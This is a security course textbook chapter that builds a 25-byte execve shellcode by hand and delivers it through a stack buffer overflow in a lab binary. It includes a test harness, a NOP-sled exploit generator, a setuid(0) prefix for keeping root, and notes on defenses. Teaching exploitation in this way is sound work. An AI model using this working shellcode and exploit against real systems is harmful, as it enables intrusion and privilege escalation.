Chapter 5: Shellcode and Code Injection

Chapter 4 ended on a puzzle. We could overwrite the return address of stack0x04, but the binary had no target() function to return to. The classic answer, the one that made buffer overflows famous, is to stop looking for useful code in the program. Instead, bring your own. The attacker puts raw machine instructions inside the very input that overflows the buffer, then points the return address back into the buffer. When the function returns, the CPU runs the attacker’s instructions with the full privilege of the victim process.

Those instructions are called shellcode, because their traditional job is to start a shell. Once the attacker has a shell, they can run any command they like. This chapter builds a shellcode from scratch: one system call, a few pushes, and a careful fight against zero bytes. Then we deliver it into a vulnerable program.

Learning objectives. After this chapter you should be able to:

  • Explain what a system call is and invoke one from assembly on 32-bit (int $0x80) and 64-bit (syscall) Linux.
  • Build a position-independent execve("/bin//sh", ...) shellcode by hand, and explain every instruction in it.
  • Identify NUL bytes in machine code and rewrite instructions to remove them.
  • Assemble, disassemble, extract, and test a shellcode in isolation.
  • Use a NOP sled and a carefully chosen return address to deliver shellcode through a stack overflow.
  • Explain why addresses observed in GDB differ from those in a real run, and how to compensate.

5.1 From “Return to a Function” to “Return to My Code”

Look again at the stack0x04 frame. We control every byte from buf upward, including the return address:

                  high addresses
               +------------------------+
     ebp+8     |  input                 |
               +------------------------+
     ebp+4     |  return address        |  <- we choose this value ...
               +------------------------+
     ebp       |  saved %ebp            |
               +------------------------+
               |  ...                   |
     ebp-0x48  |  buf[64]               |  <- ... and these bytes
               +------------------------+
                  low addresses

If the bytes in buf happen to be valid x86 instructions, and the return address points at them, then ret turns our data into code. Two things make this possible in the setting of this chapter:

  1. The stack is executable. The program was linked with -z execstack. Without it, the CPU refuses to fetch instructions from stack pages (Chapter 6).

  2. The stack address is predictable. We disable ASLR so that buf sits at the same address on every run:

    $ sudo sysctl -w kernel.randomize_va_space=0
    

This is the principle from Chapter 1 — keep code and data separate — violated as completely as possible. The input is data, and the CPU executes it.

What should the injected code do? Anything at all, in principle. In practice it should do one thing that gives the attacker everything else: start a shell. To do that from raw machine code, with no C library to call, we have to talk to the kernel directly.

5.2 System Calls

A user process cannot open files, create processes, or talk to the network on its own. Those resources belong to the operating system kernel, which runs at a higher hardware privilege level. A system call is the controlled doorway through which a process asks the kernel to do something on its behalf. Library functions such as open(), write(), and execve() are thin wrappers. They place their arguments where the kernel expects them and execute a special trap instruction.

   user mode                              kernel mode
   ---------                              -----------
   your code
     |  put syscall number + args
     |  in registers
     v
   int $0x80 / syscall  --------------->  look up handler by number
                                          check arguments, permissions
                                          do the work
   (continue)           <---------------  return value in %eax / %rax

The calling convention differs between 32-bit and 64-bit Linux:

32-bit x86 (i386)64-bit x86-64
Trap instructionint $0x80syscall
System-call number%eax%rax
Arguments 1, 2, 3%ebx, %ecx, %edx%rdi, %rsi, %rdx
Arguments 4, 5, 6%esi, %edi, %ebp%r10, %r8, %r9
Return value%eax%rax
execve number11 (0xb)59 (0x3b)
exit number160

The numbers come from the kernel’s system-call tables (on Ubuntu, see /usr/include/asm/unistd_32.h and unistd_64.h, or the Chromium OS table linked in Further Reading). They are not the same across architectures, which is a classic source of shellcode bugs.

Here is the smallest possible example, the 32-bit getpid system call (number 20, 0x14):

mov    $0x14,%eax       # syscall number: getpid
int    $0x80            # trap into the kernel; pid comes back in %eax

Going deeper. On a 64-bit kernel, int $0x80 still works from a 64-bit process, but it always uses the 32-bit system-call table and truncates pointer arguments to 32 bits. A 64-bit shellcode that mixes int $0x80 with execve = 59 therefore calls the wrong function. And a 32-bit execve call whose string lives on a 64-bit stack fails, because the stack address does not fit in 32 bits. Match the trap instruction, the table, and the register convention.

5.3 Building an execve Shellcode

Our goal is the assembly equivalent of:

char *argv[] = { "/bin/sh", NULL };
execve("/bin/sh", argv, NULL);

On 32-bit Linux that means: when we execute int $0x80,

  %eax = 11                       (execve)
  %ebx = address of "/bin/sh\0"   (filename)
  %ecx = address of argv[],       where argv[0] = address of "/bin/sh"
                                        argv[1] = 0
  %edx = 0                        (envp = NULL: no environment)

The hard part is that we do not know any addresses. The shellcode will run from somewhere on the stack, and we will not know exactly where until the attack happens. So we cannot write mov $0xffffd0a0,%ebx. The standard trick is to build the data on the stack at run time and use %esp itself as the address. At any moment %esp points at whatever we pushed last, wherever the stack happens to be. Code that works no matter where it is loaded is called position-independent.

Step 1: The string

"/bin/sh" is 7 bytes plus a terminating NUL. We push it as 4-byte words. Because the stack grows down and x86 is little-endian, we push the end of the string first, and each word’s bytes appear reversed in the immediate:

push $0x0               # the terminating NUL (and padding)
push $0x68732f2f        # "//sh"  ->  bytes 2f 2f 73 68
push $0x6e69622f        # "/bin"  ->  bytes 2f 62 69 6e
mov  %esp,%ebx          # ebx -> "/bin//sh\0"

Why //sh? We need a multiple of 4 bytes, and Linux treats repeated slashes in a path as one, so "/bin//sh" names the same file as "/bin/sh". Without the extra slash, the last word would be "/sh\0" = 0x0068732f, which contains a zero byte. We will soon see why that is a problem.

The slides split the string differently, as "//bi" + "n/sh". That gives "//bin/sh", which works for the same reason:

push $0x68732f6e        # "n/sh"  ->  bytes 6e 2f 73 68
push $0x69622f2f        # "//bi"  ->  bytes 2f 2f 62 69

We use this version from now on, to match the final shellcode below.

Step 2: The argument array

argv is an array of two pointers: the address of the string, then NULL. We build it the same way, last element first:

push $0x0               # argv[1] = NULL
push %ebx               # argv[0] = address of the string
mov  %esp,%ecx          # ecx -> argv

Step 3: The remaining registers and the trap

mov  $0x0,%edx          # envp = NULL
mov  $0xb,%eax          # execve
int  $0x80

After Steps 1 and 2 the stack looks like this. %ebx and %ecx point into it.

            higher addresses
         +------------------+
         | 00 00 00 00      |   terminator
         +------------------+
         | 6e 2f 73 68      |   "n/sh"
         +------------------+  <-- ebx  ("//bin/sh\0")
         | 2f 2f 62 69      |   "//bi"
         +------------------+
         | 00 00 00 00      |   argv[1] = NULL
         +------------------+  <-- ecx  (argv)
         | address in ebx   |   argv[0]
         +------------------+  <-- esp
            lower addresses

If the call succeeds, execve never returns. The process becomes /bin/sh.

5.4 The Zero-Byte Problem

Assemble the first draft and look at the machine code:

6a 00                   push   $0x0
...
ba 00 00 00 00          mov    $0x0,%edx
b8 0b 00 00 00          mov    $0xb,%eax
cd 80                   int    $0x80

It is full of 00 bytes. That is fatal for the delivery channel. The shellcode will be copied into the victim’s buffer by strcpy, which stops at the first 0x00 (Chapter 4, Section 4.8). Everything after the first zero would never reach the buffer. gets has the same problem with 0x0a (newline), and other channels forbid other bytes. Writing shellcode is largely the art of expressing the same computation without the forbidden bytes.

The standard substitutions:

Instead ofUseWhy it works
mov $0x0,%eax (b8 00 00 00 00)xor %eax,%eax (31 c0)x XOR x = 0, and the encoding has no zero bytes.
push $0x0 (6a 00)push %eax (50) after zeroing %eaxPushes a register that already holds 0.
mov $0x0,%edxmov %eax,%edx (89 c2) or xor %edx,%edxCopy zero from a register.
mov $0xb,%eax (b8 0b 00 00 00)movb $0xb,%al (b0 0b)Writes only the low byte. The upper 24 bits are already 0.
"/bin/sh\0" as one word"/bin//sh" + a separately pushed zeroKeeps every immediate free of zeros.

The movb trick deserves a second look. %al is the low 8 bits of %eax (Chapter 3). A 32-bit mov of the constant 11 needs a 4-byte immediate, three bytes of which are zero. An 8-bit mov needs one byte. That is correct only because we zeroed all of %eax first with xor. Leaving garbage in the upper bytes would make the system-call number wrong.

5.5 The Final Shellcode

Applying all the substitutions gives the 25-byte shellcode used throughout this course:

xor   %eax,%eax          # eax = 0
mov   %eax,%edx          # edx = 0                      (envp = NULL)
push  %eax               # string terminator
push  $0x68732f6e        # "n/sh"
push  $0x69622f2f        # "//bi"
mov   %esp,%ebx          # ebx -> "//bin/sh"            (filename)
push  %eax               # argv[1] = NULL
push  %ebx               # argv[0] = "//bin/sh"
mov   %esp,%ecx          # ecx -> argv                  (argv)
movb  $0xb,%al           # eax = 11                     (execve)
int   $0x80

Here is its disassembly, with the encoding of each instruction:

   0:   31 c0                   xor    %eax,%eax
   2:   89 c2                   mov    %eax,%edx
   4:   50                      push   %eax
   5:   68 6e 2f 73 68          push   $0x68732f6e
   a:   68 2f 2f 62 69          push   $0x69622f2f
   f:   89 e3                   mov    %esp,%ebx
  11:   50                      push   %eax
  12:   53                      push   %ebx
  13:   89 e1                   mov    %esp,%ecx
  15:   b0 0b                   mov    $0xb,%al
  17:   cd 80                   int    $0x80

As a Python byte string:

shellcode = (
    b"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    b"\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
assert len(shellcode) == 25 and b"\x00" not in shellcode

There is not a single zero byte. There are no absolute addresses, so the code runs from wherever it lands. And at 25 bytes it fits easily inside a 64-byte buffer.

Assembling and testing it in isolation

Never debug a shellcode inside an exploit. Too many things can go wrong at once. Test it on its own first. Save the assembly above, with a label, as sc.s:

        .globl _start
        .text
_start:
        xor   %eax,%eax
        # ... the remaining instructions ...
        int   $0x80

Then assemble, link, run, and dump it:

$ as --32 -o sc.o sc.s
$ ld -m elf_i386 -o sc sc.o
$ ./sc
$ echo $0                  # we are in the new shell
sh
$ exit
$ objdump -d sc.o          # produces the listing above
$ objcopy -O binary -j .text sc.o sc.bin
$ xxd sc.bin
00000000: 31c0 89c2 5068 6e2f 7368 682f 2f62 6989  1...Phn/shh//bi.
00000010: e350 5389 e1b0 0bcd 80                   .PS......

The second test checks the bytes exactly as an exploit will use them, from a C harness that copies them into executable memory and jumps there:

/* test_sc.c -- gcc -m32 -o test_sc test_sc.c */
#include <string.h>
#include <sys/mman.h>

const char code[] =
    "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    void *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(p, code, sizeof(code));
    ((void (*)(void))p)();          /* jump into the bytes */
    return 0;
}

If running ./test_sc gives you a $ prompt, the shellcode is good. Any later failure is in the delivery, not in the payload.

Note. The harness maps a page with PROT_EXEC explicitly. That is the same permission -z execstack grants to the stack. Without it, the jump would fault with SIGSEGV on the first instruction. That is the non-executable-memory defense of Chapter 6 at work.

5.6 Delivering the Shellcode

Now combine the overflow from Chapter 4 with the shellcode. The payload has three parts: the shellcode, padding to reach the return address, and a new return address pointing into the payload.

The problem: where exactly is buf?

In Chapter 4 the return target was target(), whose address in a non-PIE binary never changes. Now the target is on the stack. Even with ASLR off, the exact address of buf depends on everything above it on the stack: the environment strings, the argument strings (including the payload itself), and the program name (Section 4.9). The same program can put buf at slightly different addresses depending on how it is launched.

A jump that is off by even one byte lands in the middle of an instruction and almost certainly crashes. The attacker needs a way to tolerate an imprecise guess.

The NOP sled

The x86 instruction nop (encoding 0x90) does nothing except advance %eip to the next byte. Fill a large region before the shellcode with nops, and any jump into that region “slides” forward, one byte at a time, until it reaches the shellcode:

                    high addresses
                 +---------------------+
       ebp+4     | ret = guessed addr  |-----+
                 +---------------------+     |
                 | 90 90 90 90 ...     |     |
       ebp       | (overwrites saved   |     |
                 |  ebp, ebx, padding) |     |
                 +---------------------+     |
                 | shellcode (25 B)    |     |
                 +---------------------+     |
                 | 90 90 90 90 90 90   | <---+  landing anywhere in here
                 | 90 90 90 90 90 90   |        slides into the shellcode
       ebp-0x48  | 90 90 90 90 90 90   |
                 +---------------------+
                    low addresses

Because nop is a single byte, the jump can land on any byte of the sled and still execute correctly. The success window grows from one exact address to the full length of the sled.

An exploit generator

The course’s exploit skeleton for stack0x04 (derived from the SEED lab template) puts these pieces together:

#!/usr/bin/python3
import sys

shellcode = (
    "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    "\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
).encode('latin-1')

content = bytearray(0x90 for i in range(100))   # 100 bytes of NOPs

start = 16                                      # where the shellcode goes
content[start:start + len(shellcode)] = shellcode

ret    = 0xffffcfd0                             # change this: the guessed address
offset = 76                                     # change this: buf -> return address

L = 4                                           # 4 for 32-bit, 8 for 64-bit addresses
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')

sys.stdout.buffer.write(content)

Line by line:

  • .encode('latin-1') turns a str of code points 0–255 into the identical bytes. (UTF-8 would mangle every byte ≥ 0x80, exactly the print() pitfall from Chapter 4.) Writing a b"..." literal directly is equivalent.
  • bytearray(0x90 ...) builds a mutable 100-byte buffer full of nops, so every byte we do not set explicitly is part of a sled.
  • start = 16 places the shellcode at offset 16. Offsets 0–15 form a 16-byte sled in front of it. Offsets 41–75 are more nops that follow the shellcode and are never executed.
  • offset = 76 is the distance from buf to the saved return address, found with any method from Chapter 4, Section 4.7.
  • ret must point at or before the shellcode’s first byte, and inside the sled. Here that means anywhere in [&buf, &buf + 16].
  • to_bytes(L, byteorder='little') encodes the address little-endian.
  • The final bytes 80–99 overwrite the stack above the return address. They are harmless here, but keep in mind that they exist.

Run it:

$ python3 exploit.py > badfile
$ ./stack0x04 "$(cat badfile)"
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed)

The # prompt and euid=0(root) show that we are running a shell with the Set-UID program’s privilege. (Section 5.8 explains why your shell might not be root, and what to do about it.)

A more robust layout: shellcode above the return address

The layout above puts the shellcode inside buf, which limits the sled to the space before the shellcode. A common alternative puts the shellcode after the return address, where only the length of the input limits the sled:

  [ filler: 76 bytes ][ ret ][ NOP NOP NOP ... NOP ][ shellcode ]
                        |       ^
                        +-------+  point ret somewhere into this long sled

With 300 bytes of sled you can be off by nearly 300 bytes and still succeed. Lab 3’s exploit uses this idea: its shellcode sits near the end of a 1500-byte payload.

Note: shellcode that destroys itself. After ret, %esp points just above the overwritten return address. Every push in the shellcode writes below %esp. If the shellcode itself sits just below %esp, its own pushes can overwrite instructions it has not executed yet. In the layout above, the shellcode ends 35 bytes below the return address and pushes only 20 bytes, so it is safe. If a shellcode mysteriously crashes halfway through, check for this. A fix is to start the shellcode with sub $0x40,%esp (encoded without zero bytes) to move the stack out of the way.

5.7 Why GDB Lies About Addresses

The natural way to choose ret is to run the program under GDB, print &buf, and use that value. That often almost works. The shellcode runs inside GDB but segfaults outside it. The reason is the stack layout from Section 4.9. Everything above main’s frame depends on how the program was launched, and GDB launches it differently from your shell:

  • Extra environment variables. GDB sets LINES and COLUMNS in the debuggee’s environment. Those strings sit at the top of the stack, so every frame below them, including buf, moves down.
  • A different program name. GDB runs the program by its absolute path (/home/seed/ctf/stack0x04). You may type ./stack0x04. argv[0] is on the stack too, and its length shifts everything.
  • Different arguments. If you test with a short input and attack with a long one, argv[1]’s size changes as well. Always debug with the same payload you will attack with: gdb --args ./stack0x04 "$(cat badfile)".

The differences are usually a few dozen bytes, and a NOP sled is designed to absorb exactly that. You can also remove them:

$ gdb -q --args /home/seed/ctf/stack0x04 "$(cat badfile)"
pwndbg> unset env LINES
pwndbg> unset env COLUMNS
pwndbg> break vul
pwndbg> run
pwndbg> p &buf

Then run the real attack with the same absolute path. Other approaches include printing the buffer’s address from inside the program (Lab 3’s server does this for you) and inspecting a core dump from the real run (ulimit -c unlimited). A core dump shows the real addresses, with no debugger in the way.

5.8 When the Shell Drops Your Privilege

On Ubuntu, /bin/sh is a symbolic link to dash. Chapter 2 noted that dash (and bash) protect against exactly this scenario. When a shell starts with an effective UID different from its real UID, as it does when launched from a Set-UID root program, it resets the effective UID to the real UID. The shellcode works, but the resulting shell runs as you, not as root.

There are two standard ways around it:

  1. Make the real UID root too. Before execve, call setuid(0). A process whose effective UID is root may set all its UIDs to 0. After that the shell sees ruid == euid == 0 and has nothing to drop. On 32-bit Linux, prepend:

    31 db         xor   %ebx,%ebx      # ebx = 0 (uid)
    31 c0         xor   %eax,%eax
    b0 d5         movb  $0xd5,%al      # 213 = setuid32
    cd 80         int   $0x80
    

    (setuid32, number 213, is the full 32-bit-UID variant on i386. The old setuid, number 23, would also work for UID 0.)

  2. Ask the shell not to drop. Both dash and bash keep their privilege when run with -p. The shellcode then needs argv = {"/bin/bash", "-p", NULL}, a slightly longer construction on the stack.

For lab experiments you can also point /bin/sh at a shell without this countermeasure (sudo ln -sf /bin/zsh /bin/sh), as Lab 2 does for its first tasks. Remember to restore it afterwards. Lab 2’s optional Task 4 defeats the countermeasure properly, using the -p idea in a return-to-libc setting.

5.9 A Brief History

The idea of injecting code through an overflow is older than most of the people reading this book.

  • 1988, the Morris worm. In November 1988, a self-replicating program written by Robert T. Morris spread across the early Internet and infected an estimated several thousand machines, a sizable fraction of the network at the time. One of its propagation methods overflowed a 512-byte stack buffer in the fingerd daemon, which read its request with gets(). The worm sent a 536-byte request that overwrote the return address and injected VAX code that ran /bin/sh. It was one of the first Internet worms, and the first to draw wide mainstream media attention.
  • 1996, “Smashing the Stack for Fun and Profit.” Aleph One’s article in Phrack issue 49 explained, step by step and for a broad audience, how to find stack overflows, how to write execve shellcode, how to remove NUL bytes, and how to use NOP sleds. Much of this chapter follows the structure it established. It is still worth reading.
  • Late 1990s–2000s. Stack-smashing worms became a fact of Internet life. Code Red (2001) and SQL Slammer (2003) both spread through buffer overflows in widely deployed server software. This pressure produced the defenses of Chapter 6.

5.10 Beyond the Stack Buffer Overflow

The stack overflow is one member of a larger family of memory-safety errors. Each of the following can corrupt or disclose memory, and you will meet most of them again:

  • Intra-object (intra-struct) overflow. A buffer overflows into a neighboring field of the same structure:

    struct user {
        char name[16];
        int  is_admin;
    };
    strcpy(u->name, input);     /* 17+ bytes reach is_admin */
    

    Nothing leaves the object, so defenses that guard object boundaries (canaries between frames, guard pages between heap chunks, and even most sanitizers) do not notice.

  • Out-of-bounds read. Reading past a buffer does not change control flow, but it discloses memory: secrets, pointers that defeat ASLR, or canary values. The Heartbleed bug in OpenSSL (CVE-2014-0160) was an out-of-bounds read driven by an attacker-supplied length field (Chapter 12 and the Rust lab revisit it).

  • Heap overflow. The same overflow, in memory obtained from malloc. Instead of return addresses, the neighbors are other heap objects (often containing function pointers) and the allocator’s own metadata.

  • Format-string bugs. A completely different mechanism that gives the attacker arbitrary reads and writes. It is the subject of Chapter 10.

Exploit Education’s Phoenix series (see Further Reading) has graded exercises for each of these.

5.11 Looking Ahead

Code injection needs three things to go right: the attacker can overwrite a code pointer, can predict where the injected code is, and the CPU is willing to execute data. Each requirement suggests a defense:

RequirementDefense (Chapter 6)
Overwrite the return addressStack canaries detect the overwrite before ret.
Predict the address of bufASLR randomizes the stack base on every run.
Execute bytes on the stackNon-executable stack (NX/DEP) faults on the first injected instruction.

All three are on by default on a modern Linux system. That is why this chapter had to turn them off. Getting around them, especially the non-executable stack, drove attackers toward reusing code that is already executable (Chapter 7).

Check Your Understanding

1. Why does the shellcode push the string onto the stack and use %esp, rather than storing "/bin/sh" at a fixed address and loading that address into %ebx?

Answer

The attacker does not know in advance where the shellcode will be in memory. The stack’s exact address depends on the environment, the arguments, and (with ASLR) randomness. Building the data on the stack and taking its address from %esp makes the shellcode position-independent: it computes the correct address at run time, wherever it runs. A hard-coded address would also very likely contain bytes the delivery channel cannot carry.

2. Find the zero bytes: mov $0xb,%eax encodes as b8 0b 00 00 00. Give two different zero-free instruction sequences that leave %eax = 11.

Answer

xor %eax,%eax; movb $0xb,%al (31 c0 b0 0b) is the standard one. Another is push $0xb; pop %eax (6a 0b 58). The 8-bit immediate is sign-extended to 32 bits when pushed, and pop loads the full register. Also correct: xor %eax,%eax; inc %eax repeated, or xor %eax,%eax; add $0xb,%al. In every variant the upper bytes must be known to be zero.

3. What are the values of %eax, %ebx, %ecx, and %edx at the moment the final shellcode executes int $0x80? Describe pointers by what they point to.

Answer

%eax = 11 (execve). %ebx points to the NUL-terminated string "//bin/sh" on the stack. %ecx points to a two-element array on the stack: { address of "//bin/sh", NULL }. %edx = 0 (NULL environment).

4. An exploit works inside GDB but segfaults when run from the shell. Give two reasons the address of buf might differ, and two ways to deal with it.

Answer

Reasons: GDB adds the environment variables LINES and COLUMNS. GDB runs the program with an absolute path, so argv[0] has a different length. Also, the input used in GDB may have had a different length from the attack payload. All of these strings sit at the top of the stack and shift every frame below them. Fixes: use a large NOP sled and aim into its middle; unset env LINES / unset env COLUMNS in GDB and launch with the same absolute path and payload; read the real address from a core dump; or have the program print the address.

5. Your shellcode gives a shell, but id shows uid=1000(seed) with no euid=0, even though the vulnerable program is Set-UID root. What happened, and how can the shellcode be fixed?

Answer

/bin/sh is dash, which detects that its effective UID differs from its real UID and drops back to the real UID. Fix it by calling setuid(0) in the shellcode before execve (on i386: xor %ebx,%ebx; xor %eax,%eax; movb $0xd5,%al; int $0x80), so that the real UID becomes 0 too. Alternatively, execve /bin/bash or /bin/dash with the -p flag.

6. Give the 64-bit equivalents of the following for an execve("/bin/sh", argv, NULL) shellcode: the trap instruction, the system-call number, and the registers for the three arguments. Why can’t you simply reuse the 32-bit shellcode in a 64-bit process?

Answer

syscall, number 59 (0x3b) in %rax, arguments in %rdi, %rsi, %rdx. The 32-bit shellcode uses int $0x80, which goes to the 32-bit system-call table and truncates pointer arguments to 32 bits. Stack addresses in a 64-bit process do not fit in 32 bits, so the pointers to the string and to argv would be wrong. In addition, push in 64-bit mode pushes 8 bytes, so the stack layout of the strings and the array would differ anyway.

7. Which single defense would stop the attack in Section 5.6 even if the attacker knew the exact address of buf? Which defense makes guessing that address hard?

Answer

A non-executable stack (NX/DEP) stops it regardless of address knowledge. The CPU faults when %eip reaches a stack page. A stack canary would also stop this particular overflow, because it is detected before ret. ASLR makes the address hard to guess by randomizing the stack base on every execution, so a hard-coded ret value is wrong most of the time.

Summary

  • Code injection places machine code in the attacker’s input and redirects control flow to it. Shellcode is such code, typically one that runs execve("/bin/sh").
  • A system call asks the kernel for service. On 32-bit Linux: int $0x80, number in %eax, arguments in %ebx, %ecx, %edx, and execve = 11. On 64-bit: syscall, %rax, %rdi, %rsi, %rdx, and execve = 59.
  • Good shellcode is position-independent (it builds data on the stack and uses %esp) and free of forbidden bytes (xor instead of mov $0, movb into %al, "/bin//sh").
  • Test shellcode in isolation (as/ld/objdump, or an mmap harness) before using it in an exploit.
  • Stack addresses vary with the environment, the arguments, and the program path. A NOP sled turns an exact-address problem into a range problem. GDB’s environment differs from the shell’s, so debug with care.
  • Shells drop Set-UID privilege. Prepend setuid(0) or use -p.
  • Code injection depends on an executable stack, a predictable address, and an undetected overwrite. These are the three things Chapter 6 takes away.

Connection to the Labs

  • The s2CTF playground level stack0x04 (https://github.com/sysec-uic/s2ctf-playground) is the exact target of Section 5.6. Fill in the exploit skeleton, aim ret into your sled, and read /ctf/key4.
  • Lab 2 turns the non-executable stack on, so the shellcode in this chapter no longer runs. That is the motivation for return-to-libc. Its optional Task 4 revisits the dash countermeasure from Section 5.8.
  • Lab 3, Task 4 injects shellcode into a root network server through a format-string write instead of a strcpy overflow. The shellcode and the return-address target are the same ideas as here. The shellcode there runs /bin/bash -c "<command>", which you will turn into a reverse shell (Chapter 11).

Further Reading